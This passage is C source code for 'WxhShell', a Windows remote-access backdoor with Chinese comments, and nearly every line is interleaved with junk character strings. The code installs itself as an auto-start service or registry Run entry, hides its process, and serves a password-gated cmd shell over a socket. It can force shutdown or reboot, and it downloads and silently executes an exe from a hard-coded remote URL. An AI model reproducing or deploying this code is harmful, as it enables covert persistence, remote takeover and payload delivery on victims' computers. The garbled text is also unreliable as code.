  // 关机 _ElG&hyp  
  case 'd': { `!AI:c*3p1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DuIXv7"[  
    if(Boot(SHUTDOWN))  WjCxTBI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A7|L|+ ?  
    else { "F6gV;{Bt  
    closesocket(wsh); /bPs0>5  
    ExitThread(0); G=SMz+z  
    } S4'<kF0z  
    break; c*\;!dbP  
    } bdG@%K',  
  // 获取shell &b7_%,Bx4  
  case 's': { |(.%`BTD  
    CmdShell(wsh); OA(.&5]  
    closesocket(wsh); F\L!.B  
    ExitThread(0); D /GE-lq  
    break; RBBmGZ  
  } y%spI/(  
  // 退出 &;=/^~EG  
  case 'x': { _A] )q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1<5Ug8q  
    CloseIt(wsh); H Ix%c5^  
    break; ~_c1h@  
    } VxuV`Plf  
  // 离开 $mh\`  
  case 'q': { D9?.Ru0.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R=F_U  
    closesocket(wsh); ]V_A4Df  
    WSACleanup(); :2&"ak>N  
    exit(1); ODhq `?(N  
    break; xwi6#>  
        } c+ByEP4EG  
  } x~wS/y  
  } -a&<Un/  
4e#$ -V   
  // 提示信息 $/B~bJC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l;L_A@B<  
} Pg{1'-  
  } S#$Kmm |  
T~(Sc'8  
  return; m}\QGtJ6  
} >#k- ~|w  
^YropzHZ4E  
// shell模块句柄  o?m/  
int CmdShell(SOCKET sock) h /^bRs`;  
{ [.1ME lM  
STARTUPINFO si; PMV,*`"9"A  
ZeroMemory(&si,sizeof(si)); RtzSe$O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :GO"bsjL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LO>42o?/i  
PROCESS_INFORMATION ProcessInfo; %dv?n#Uf  
char cmdline[]="cmd"; (xRcG+3];  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7.6L1srV  
  return 0; x3Y)l1gh  
} T'@+MA) ~  
4=MjyH|[Jx  
// 自身启动模式 13`Mt1R  
int StartFromService(void) lM{ fld  
{ . R/y`:1:W  
typedef struct y!.jpF'uI  
{  mPk'a  
  DWORD ExitStatus; Y`Io}h G$  
  DWORD PebBaseAddress; kuV7nsXiQ  
  DWORD AffinityMask; cgSN:$p(R  
  DWORD BasePriority; e)g &q'O  
  ULONG UniqueProcessId; NX.xE W@  
  ULONG InheritedFromUniqueProcessId; R]iV;j|  
}   PROCESS_BASIC_INFORMATION; MA6 Vy  
wz*iwd-  
PROCNTQSIP NtQueryInformationProcess; (Y@T5-!D  
$?G@ijk,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |f#hGk6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?(R3%fU  
f,KB BBbG  
  HANDLE             hProcess; .t5.(0Xk[A  
  PROCESS_BASIC_INFORMATION pbi; v#d\YV{I  
Q>Zc eJ;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g-~ _gt7  
  if(NULL == hInst ) return 0; ]myRYb5Z  
J-5>+E,nZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8Auek#[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _!@:@e)yB{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y]m: {  
ExS5RV@v'  
  if (!NtQueryInformationProcess) return 0; )ffaOS!\  
nQjpJ /=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '\tI|  
  if(!hProcess) return 0; cR/Nl pX  
jTvcKm|q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %+N]$Q  
Pc`d]*BYi  
  CloseHandle(hProcess); )Y7H@e\1  
t?4H9~iH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A51 a/p#  
if(hProcess==NULL) return 0; zVq!M-e  
~Ld5WEp k3  
HMODULE hMod; d-D,Gx]>$  
char procName[255]; Mh.1KI[t  
unsigned long cbNeeded; "w'pIUQ3,  
.ybmJU*Hg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w`)5(~b  
si]VM_w6  
  CloseHandle(hProcess); Fo.Y6/}  
%8FfP5#  
if(strstr(procName,"services")) return 1; // 以服务启动 (Xh <F  
f^ui Zb  
  return 0; // 注册表启动 4]h/t&ppq  
} pj$JA  
YsVmU  
// 主模块 -3{Q`@F  
int StartWxhshell(LPSTR lpCmdLine) )!2@v@SQ  
{ kGYpJg9=  
  SOCKET wsl; 0Z1ksfLU  
BOOL val=TRUE; &zdS9e-fF  
  int port=0; ""0 Y^M2I  
  struct sockaddr_in door; Rql/@j`JX  
H5}61JC/z  
  if(wscfg.ws_autoins) Install(); 'f\9'v  
g"m' C6;  
port=atoi(lpCmdLine); da7"Q{f+  
mqZH<.mn  
if(port<=0) port=wscfg.ws_port; "?NDN4l*  
s6,~J F^  
  WSADATA data; Wigt TAh4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dLiiJ6pl*  
PR%)3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %Jt35j@Ee  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i%K6<1R;y{  
  door.sin_family = AF_INET; 3^7+fxYWo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oMQ4q{&|  
  door.sin_port = htons(port); >G6kF!V  
IA2VesHb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \,Y .5?  
closesocket(wsl); _z@/~M(  
return 1; NfV|c~?d  
} v-}f P  
d@R7b^#g  
  if(listen(wsl,2) == INVALID_SOCKET) { E(~7NRRm  
closesocket(wsl); 5n3yc7NPP  
return 1; \f9WpAY  
} gk%nF  
  Wxhshell(wsl); dk|LC-]`A  
  WSACleanup(); 72dRp!J U  
z &EDW 5I  
return 0; &=g3J4$z  
NUV">i.(  
} n n7LL+h  
Q,KNZxT,q  
// 以NT服务方式启动 6!\V|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w2 Y%yjCV  
{ DBAyc#&#  
DWORD   status = 0; Hr?lRaV  
  DWORD   specificError = 0xfffffff; zPaubqB  
CvU$Fsb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?Y4 +3`\x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x%viCkq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4z<c8 E8  
  serviceStatus.dwWin32ExitCode     = 0; xMjhC;i{  
  serviceStatus.dwServiceSpecificExitCode = 0; <_Yd N)x  
  serviceStatus.dwCheckPoint       = 0; 6$urrSQ`N0  
  serviceStatus.dwWaitHint       = 0; nwFBuP<LR  
MQoA\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \zBi-GI7  
  if (hServiceStatusHandle==0) return; ZNBowZI  
g *Js4  
status = GetLastError(); 5?0<.f,  
  if (status!=NO_ERROR) R-Edht|{  
{ 1#d2 +J*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /e2zH  
    serviceStatus.dwCheckPoint       = 0; \ S;[7T  
    serviceStatus.dwWaitHint       = 0; }yT/UlU  
    serviceStatus.dwWin32ExitCode     = status; ]}L'jK 0  
    serviceStatus.dwServiceSpecificExitCode = specificError; %'KRbY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \?n6l7*t>  
    return; ]Y [N=G  
  } :nIMZRJ_!E  
h#YO;m2wd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RTmp$lV  
  serviceStatus.dwCheckPoint       = 0; NXOXN]=c<  
  serviceStatus.dwWaitHint       = 0; )E9!m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2.v{W-D[  
} AU9C#;JD  
JvAXLT  
// 处理NT服务事件,比如:启动、停止 o +$v0vg%T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +f/ I>9G  
{ Ey=2 zo^F  
switch(fdwControl) apL$`{>US  
{ aO1^>hy  
case SERVICE_CONTROL_STOP: =Y2 Rht  
  serviceStatus.dwWin32ExitCode = 0; 4/(#masIL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eo]nkyYDP  
  serviceStatus.dwCheckPoint   = 0; A%D 'Z85 -  
  serviceStatus.dwWaitHint     = 0; !aT:0m$:9c  
  { "@G[:(BoB<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /b,>fK^  
  } m*y&z'e\  
  return; S`s]zdUTP  
case SERVICE_CONTROL_PAUSE: u9"kF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :rb;*nY!  
  break; JBpV'_"]  
case SERVICE_CONTROL_CONTINUE: $mJv\;t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .z#eYn% d  
  break; }; '@'   
case SERVICE_CONTROL_INTERROGATE: "1a;);S=*)  
  break; |ke0G  
}; -64l f-<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /9_%NR[  
} l#[Z$+!09  
(HRj0,/^  
// 标准应用程序主函数 beO Mln+R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XM\\Imw  
{ >w.;A%|N  
(G|!{  
// 获取操作系统版本 ](JrEg$K  
OsIsNt=GetOsVer(); T,!EL +o4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }Nr6oUn  
ZbC$Fk,,I&  
  // 从命令行安装 lG-B) F  
  if(strpbrk(lpCmdLine,"iI")) Install(); c>$d!IKCL  
:m `D   
  // 下载执行文件 \lG)J0  
if(wscfg.ws_downexe) { )(,O~w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l)\Q~^cxd  
  WinExec(wscfg.ws_filenam,SW_HIDE); {_b2!!p  
} MH#Tp#RG  
Y/J~M$9P,  
if(!OsIsNt) { /wEl\Kx  
// 如果时win9x,隐藏进程并且设置为注册表启动 DY#195H  
HideProc(); w4P;Z-Cd  
StartWxhshell(lpCmdLine); I8! .n  
} GZi`jp  
else 'o)Y!VYnJF  
  if(StartFromService()) 1?BLL;[a8  
  // 以服务方式启动 c1E{J <pZ  
  StartServiceCtrlDispatcher(DispatchTable); [s$x"Ex  
else ?;oJ=.T  
  // 普通方式启动 `xx.,;S  
  StartWxhshell(lpCmdLine); y7/4u-_c  
JOG- i  
return 0; [;{xiW4V]  
} I=dn]}b#P  
)Wle CS_  
R]yce2w"z  
R ?s;L r  
=========================================== D SX%SE)  
kBqgz| jE%  
Ye]K 74M.  
lD0a<L 3  
.u\$wJ9Ai  
(.=ig X  
" 7>z {2D  
J;~YD$  
#include <stdio.h> C7F\Y1Wj  
#include <string.h> OCu_v%G 0  
#include <windows.h> gbYM1guiD  
#include <winsock2.h> `^#4okg]  
#include <winsvc.h> E{[Y8U1n  
#include <urlmon.h> c3GBY@m  
`Njvk  
#pragma comment (lib, "Ws2_32.lib") YCE *Dm  
#pragma comment (lib, "urlmon.lib") $VQ;y|K+[  
LpY{<:y  
#define MAX_USER   100 // 最大客户端连接数 Ej)7[  
#define BUF_SOCK   200 // sock buffer T O]7cC  
#define KEY_BUFF   255 // 输入 buffer mxZ+r#|di  
~]?s A{  
#define REBOOT     0   // 重启 }'tJc $!  
#define SHUTDOWN   1   // 关机 OIj.K@Kr  
C9?mxa*z  
#define DEF_PORT   5000 // 监听端口 6O,k! y>  
#w%-IhP  
#define REG_LEN     16   // 注册表键长度 V|@bITJ?7  
#define SVC_LEN     80   // NT服务名长度 x-c5iahp'  
qCI7)L`  
// 从dll定义API \]4EAKJE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qpFxl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {St-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YvN]7tcb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'k]~Q{K$  
eYP^.U)  
// wxhshell配置信息 3O; H&  
struct WSCFG { =r/8~~=  
  int ws_port;         // 监听端口 ,,G"EF0A  
  char ws_passstr[REG_LEN]; // 口令 ML'y`S  
  int ws_autoins;       // 安装标记, 1=yes 0=no LZ_0=Xx%  
  char ws_regname[REG_LEN]; // 注册表键名 )#z{P[X^  
  char ws_svcname[REG_LEN]; // 服务名 7b08Lo7b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 . s>@@m-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K" VcPDK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5?H wM[`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N@tKgx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %\,9S`0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _BA; H+M  
)V~=B]  
}; SF-E>s!XL  
D'u7"^=  
// default Wxhshell configuration l0^cdl-  
struct WSCFG wscfg={DEF_PORT, G=[<KtWa  
    "xuhuanlingzhe", -a@e28Y  
    1, 3QBzyJW f  
    "Wxhshell", ,ja!OZ0$  
    "Wxhshell", FS=yc.Q_  
            "WxhShell Service", &-qQF`7  
    "Wrsky Windows CmdShell Service", ?e6>dNw  
    "Please Input Your Password: ", 2? yo  
  1, e(/F:ZEh  
  "http://www.wrsky.com/wxhshell.exe", ?ckV 2  
  "Wxhshell.exe" izcaWt3 a  
    }; m-azd ~r[  
l 3p :}A  
// 消息定义模块 3 e'6A^#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;6``t+]q   
char *msg_ws_prompt="\n\r? for help\n\r#>"; nl 'MWP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uarfH]T{  
char *msg_ws_ext="\n\rExit."; V:L%GWU  
char *msg_ws_end="\n\rQuit."; gZ^Qt.6Z  
char *msg_ws_boot="\n\rReboot..."; QPB,B>Z  
char *msg_ws_poff="\n\rShutdown..."; N8pL2y:R[P  
char *msg_ws_down="\n\rSave to "; \mh #MMp  
5z 0VMt  
char *msg_ws_err="\n\rErr!"; :p}8#rb  
char *msg_ws_ok="\n\rOK!"; .\_RavW23  
'o}[9ZBjn  
char ExeFile[MAX_PATH]; 2rT^OGw6  
int nUser = 0; R`c[ ?U  
HANDLE handles[MAX_USER]; 0c`zg7|  
int OsIsNt; M]r?m@)  
)pHlWi|h  
SERVICE_STATUS       serviceStatus; ?Q-Tyf$3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kd^H}k  
B ktRA  
// 函数声明 SdYf^@%}F  
int Install(void); 0pMN@Cz6  
int Uninstall(void); V_gKl;Kfe8  
int DownloadFile(char *sURL, SOCKET wsh); 7C7.}U  
int Boot(int flag); ~i;{+j6Ho!  
void HideProc(void); t([}a ~1}  
int GetOsVer(void); e9[72V  
int Wxhshell(SOCKET wsl); J;obh.}u"{  
void TalkWithClient(void *cs); dW4jkjap  
int CmdShell(SOCKET sock); GA gTy  
int StartFromService(void); * $f`ouJl  
int StartWxhshell(LPSTR lpCmdLine); ;B=aK"\  
2.z-&lFBZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qMJJBl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6E}9uwQ  
wv3,% lN  
// 数据结构和表定义 QKj0~ia 5  
SERVICE_TABLE_ENTRY DispatchTable[] = CfU|]<  
{ 0mSP  
{wscfg.ws_svcname, NTServiceMain}, "wOfs$w%s  
{NULL, NULL} V+Tv:a  
}; t 6nRg  
P'U2hCif  
// 自我安装 @ye!? %  
int Install(void) %BGg?&  
{ z/{X{+Z  
  char svExeFile[MAX_PATH]; 4MS<t FH)  
  HKEY key; /J#(8p  
  strcpy(svExeFile,ExeFile); mtv8Bm=<  
@[3c1B6K  
// 如果是win9x系统,修改注册表设为自启动 S\TXx79PhC  
if(!OsIsNt) { *vaYI3{qN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GkJcd;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3^y(@XFt  
  RegCloseKey(key); z l r !   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k3#'g'>yh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pIlEoG=[_  
  RegCloseKey(key); a<G&}|6  
  return 0; <:&vAX L  
    } &|>~7(  
  } GF ux?8A:%  
} |HK:\)L%  
else { h+g\tYWGP  
rR.It,,  
// 如果是NT以上系统,安装为系统服务 dgw.OXa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G>V6{g2Q  
if (schSCManager!=0) lxhb)]c ^>  
{ T^}UE<  
  SC_HANDLE schService = CreateService 3%Y:+%VE  
  ( *1dDs^D#|  
  schSCManager, ~sk p}g]  
  wscfg.ws_svcname, ]Btkoad  
  wscfg.ws_svcdisp, F[jE#M=k  
  SERVICE_ALL_ACCESS, "313eeIt%i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sAkr-x?+M  
  SERVICE_AUTO_START, !a@)6or  
  SERVICE_ERROR_NORMAL, [C "\]LiX  
  svExeFile, L80(9Y^xn  
  NULL, /5ZX6YkeH  
  NULL, USBQEt  
  NULL, TLdlPBnr8  
  NULL, ! xCo{U=  
  NULL /v R>.'  
  ); xA] L0h]  
  if (schService!=0) Jup)m/  
  { =6%oW2E\  
  CloseServiceHandle(schService); j|eA*UE  
  CloseServiceHandle(schSCManager); *r7v Dc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1\.$=N  
  strcat(svExeFile,wscfg.ws_svcname); x$Dq0FX!%_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =CX1jrLZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^kez]>   
  RegCloseKey(key); rd%%NnT"  
  return 0; M+/xw8}a  
    } 'Uok<;  
  } *ukyQZ9  
  CloseServiceHandle(schSCManager); 6  63o  
}  T{YZ`[  
} MY&Jdmga  
IrLGAQ0  
return 1; qL(Q1O!  
} }r:o8+4  
T<AT&4  
// 自我卸载 4fEDg{T  
int Uninstall(void) }cKB)N BJb  
{ \o9 \i kR  
  HKEY key; )9QtnM  
\;LDE`Q_x  
if(!OsIsNt) { {zdMmpQF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c'2d+*[  
  RegDeleteValue(key,wscfg.ws_regname); rqdwQ  
  RegCloseKey(key); \@LTXH.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^J!q>KJs  
  RegDeleteValue(key,wscfg.ws_regname); bx@l6bpQ  
  RegCloseKey(key); {T){!UVp!  
  return 0; K =g</@L6R  
  } t}EM X9SQ  
} qe~x?FO_>  
} wp[Ug2;G  
else { ?6#won  
0XHQ 5+"8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XYE|=Tr]  
if (schSCManager!=0) @ZKf3,J0  
{ W U(_N*a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eL!41_QI  
  if (schService!=0) sV^:u^  
  { ']]d-~:  
  if(DeleteService(schService)!=0) { r~w.J+W  
  CloseServiceHandle(schService); H}@:Bri  
  CloseServiceHandle(schSCManager); gEA SYIQ  
  return 0; \bA Yic  
  } Z:; }  
  CloseServiceHandle(schService); U)S=JT~h  
  } :!ya&o  
  CloseServiceHandle(schSCManager); gL;Kie6Z  
} 4E'9;tA3l  
} 2iAC_"n  
wb-yAQ8  
return 1; 7*/{m K)  
} 5=dL`  
B@,9Cx564  
// 从指定url下载文件 {|;a?] ?  
int DownloadFile(char *sURL, SOCKET wsh) x-^6U  
{ 8a)AuAi?!  
  HRESULT hr; OMGggg  
char seps[]= "/"; G=dzP}B'WA  
char *token; $Y$9]G":  
char *file; #el27"QP0  
char myURL[MAX_PATH]; Fe+ @;  
char myFILE[MAX_PATH]; M[uWX=  
==[,;g x  
strcpy(myURL,sURL); ,S)r%[ru^  
  token=strtok(myURL,seps); L74Mz]v  
  while(token!=NULL) 4#U}bN  
  { *[Hrbln  
    file=token; 'sNZFB#  
  token=strtok(NULL,seps); )Q)qz$h@  
  } ~j0rORy]  
N<EVs.7  
GetCurrentDirectory(MAX_PATH,myFILE); /--p#Gh'  
strcat(myFILE, "\\"); t6+m` Kq  
strcat(myFILE, file); J~YT~D 2L  
  send(wsh,myFILE,strlen(myFILE),0); %H{p&ms  
send(wsh,"...",3,0); @Mk`Tl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YJi%vQ*]  
  if(hr==S_OK) '\Xkvi  
return 0; ``o]i{x  
else UHBXq;?&q  
return 1; lQA5HzC\  
50UdY9E_v}  
} `:/'")+@v  
:yay:3qv  
// 系统电源模块 [P$Xr6#  
int Boot(int flag) Ebg8qDE  
{ :1v,QEb\  
  HANDLE hToken; qsj{0Go  
  TOKEN_PRIVILEGES tkp; Ob d n#Wm=  
8$00\><r  
  if(OsIsNt) { -(VJ,)8t2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ul{x|R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7]{g^g.9-  
    tkp.PrivilegeCount = 1; 9+.wj/75  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nhI+xqfn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P<<$o-a"  
if(flag==REBOOT) { J0G@]H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ">uN={Iy  
  return 0; Aoa8Q E   
} 8tvmqe_G  
else { ZsGvv]P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "gJ?LojB<  
  return 0; b F=MQ  
} s.3"2waZ=T  
  } 3G} )$y3m  
  else { P8 X07IK  
if(flag==REBOOT) { MJn-] E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _k84#E0  
  return 0; O&%'j  
} +ikSa8)*i  
else { 9u=A:n\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =]5tYIU  
  return 0;  T:}Q3  
} ~o}:!y  
} PK\ZRl  
n. %QWhUB  
return 1; >KKWhJ  
} q? ,PFvs"  
=j7Du[?Vu  
// win9x进程隐藏模块 dab]>% M  
void HideProc(void) ]>3Y~KH(  
{ )|gw5N4;  
3o.x<G(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M!&Hn,22  
  if ( hKernel != NULL ) {UNH?2  
  { LG}{ibB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kR]P/4r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *_V+K  
    FreeLibrary(hKernel); rYUIFPN  
  } $H:!3 -/  
S zo'[/ [R  
return; xATx2*@X2  
} ">V&{a-C4  
~(kEGEF  
// 获取操作系统版本 os V6=  
int GetOsVer(void) GT{4L]C  
{ 72HA.!ry  
  OSVERSIONINFO winfo; D%SOX N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XM'tIE+|  
  GetVersionEx(&winfo); w[~G^x&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m^X51,+<  
  return 1; I{Du/"r#  
  else n,I3\l9  
  return 0; .Rr^AGA4  
} %9-^,og  
D(b01EQ;d  
// 客户端句柄模块 r. 82RoG?G  
int Wxhshell(SOCKET wsl) E@}F^0c  
{ ?Uql 30A  
  SOCKET wsh; F:j@JMpQ  
  struct sockaddr_in client; }YwaN'3p!  
  DWORD myID; {3Inj8a=?A  
WfPb7T  
  while(nUser<MAX_USER) 6St=r)_  
{ |Xt G9A>  
  int nSize=sizeof(client); \J LGw1F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >ohCz@~  
  if(wsh==INVALID_SOCKET) return 1; 41 F;X{Br  
N8A)lYT]_u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ek +R  
if(handles[nUser]==0) s$Vl">9#  
  closesocket(wsh); Ni~IY# '  
else dsTX?E<R  
  nUser++; $6"sRI6u  
  } 9A |A@E#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /=2aD5r  
_p$/.~Xo9  
  return 0; \ o<ucp\J  
} cILS  
3Z*r#d$nh:  
// 关闭 socket fA=Z):w  
void CloseIt(SOCKET wsh) 9QQ XB-  
{ Xv1vq -cM  
closesocket(wsh); m*^)#  
nUser--; zt.k Nb  
ExitThread(0); OqtGKda  
} ^*.[b  
%;`Kd}CO  
// 客户端请求句柄 j~v`q5X  
void TalkWithClient(void *cs) @SX%q&-  
{ Ak[X`e T  
{FI zoR"  
  SOCKET wsh=(SOCKET)cs; )uqzu%T  
  char pwd[SVC_LEN]; rPH7 ]]  
  char cmd[KEY_BUFF]; jY6GWsh:9  
char chr[1]; (p]FI#y  
int i,j; ?Y"%BS+pt  
161P%sGx2  
  while (nUser < MAX_USER) { i/:L^SQAq  
#GM^:rF  
if(wscfg.ws_passstr) { n%E,[JT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  ETZf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7F<{ Qn  
  //ZeroMemory(pwd,KEY_BUFF); G ;j1zs  
      i=0; eV7;#w<]  
  while(i<SVC_LEN) { Vr2A7kq  
gP_N|LuF"  
  // 设置超时  : (UK'i  
  fd_set FdRead; |E+.y&0;  
  struct timeval TimeOut; CR4O#f8\  
  FD_ZERO(&FdRead); 6_mi9_w  
  FD_SET(wsh,&FdRead); h<9vm[.  
  TimeOut.tv_sec=8; cSL6V2F  
  TimeOut.tv_usec=0; *\ii +f-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I`_2Q:r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l";Yw]:^  
KL \>-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yD"]:ts3  
  pwd=chr[0]; =.`\V]  
  if(chr[0]==0xd || chr[0]==0xa) { 7@@g|l]  
  pwd=0; gvP-doA7W  
  break; N~/ 'EaO  
  } z;JV3) E  
  i++; @]qP:h.  
    } kf@JEcKV  
1PY]Q{r  
  // 如果是非法用户,关闭 socket zPnb_[YF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aRTy=~  
} rrL.Y&DTK  
[,Ehu<mEK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L<FXtBJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E{ /, b)  
/LFuf`bXV  
while(1) { vyZ&%?{*R  
dN5{W0_  
  ZeroMemory(cmd,KEY_BUFF); kk fWiPO^  
'T eH(?3G  
      // 自动支持客户端 telnet标准   n/ KO{:  
  j=0; (d4btcg  
  while(j<KEY_BUFF) { V]|X ,G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y:)^*2GA-B  
  cmd[j]=chr[0]; *}2L4]  
  if(chr[0]==0xa || chr[0]==0xd) { @c^ Dl  
  cmd[j]=0; oq7G=8gTp  
  break; 88HqP!m%P:  
  } <::lfPP  
  j++; >/ay'EyY;>  
    } Zn9tG:V  
8-#kY}d.  
  // 下载文件 3ijPm<wn  
  if(strstr(cmd,"http://")) { !hVbx#bXl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oC`F1!SfOO  
  if(DownloadFile(cmd,wsh)) Pn!~U] A$%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !.P||$x`&  
  else um%_kX  
